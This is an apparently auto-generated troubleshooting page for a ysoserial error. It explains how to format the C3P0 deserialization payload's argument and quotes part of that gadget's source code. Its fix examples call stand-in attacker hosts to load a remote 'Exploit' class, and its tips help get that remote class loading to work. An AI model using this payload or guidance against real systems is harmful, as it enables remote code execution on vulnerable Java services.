frohoff/ysoserial · error · IllegalArgumentException
Command format is
Error message
Command format is: <base_url>:<classname>
What it means
C3P0 payload's getObject() splits the command on the last ':' to get a base URL for loading classes and a remote class name. If no ':' exists, it cannot build the C3P0 class-loading gadget and throws IllegalArgumentException with the usage string.
Solutions
- Pass '<base_url>:<classname>', e.g. 'http://attacker:8080/:Exploit'
- Ensure the base URL ends with a '/' if the remote loader expects a directory URL
- Verify the class name matches the compiled class hosted at the base URL
Example fix
// before
new C3P0().getObject("Exploit");
// after
new C3P0().getObject("http://attacker.example:8080/:Exploit"); Defensive patterns
Strategy: validation
Validate before calling
if (command.lastIndexOf(':') < 0) throw new IllegalArgumentException("expected <base_url>:<classname>"); Try / catch
try { obj = new C3P0().getObject(cmd); } catch (IllegalArgumentException e) { usage(e.getMessage()); } Prevention
- Include both URL and classname separated by ':'
- End base URL with '/' when serving a directory of classes
- Verify the remote class is hosted before generating
When it happens
Trigger: Calling C3P0.getObject(command) with a string lacking ':' (e.g. just 'http://host:8080/' or just 'Exploit' without the URL part).
Common situations: Serving the exploitable class from a local HTTP server and forgetting the URL component; omitting the class name; shell stripping characters.
Understand the failure class
Background: "Invalid ... format", "must be in format X", "does not look like a ..." — invalid argument format errors across CLI tools and libraries — this error's family across 17 libraries.
Related errors
- Command format is
- Unsupported command
- Unsupported command
- Command format is
- Hibernate4 can only call getters
AI-assisted analysis of frohoff/ysoserial@218bcffcaa (2026-09-12).
Data as JSON: /api/errors/d4e0e28847998736.
Report an issue: GitHub.
Appendix: source
Thrown at src/main/java/ysoserial/payloads/C3P0.java:48
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* @author mbechler
*
*/
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
View on GitHub (pinned to 218bcffcaa)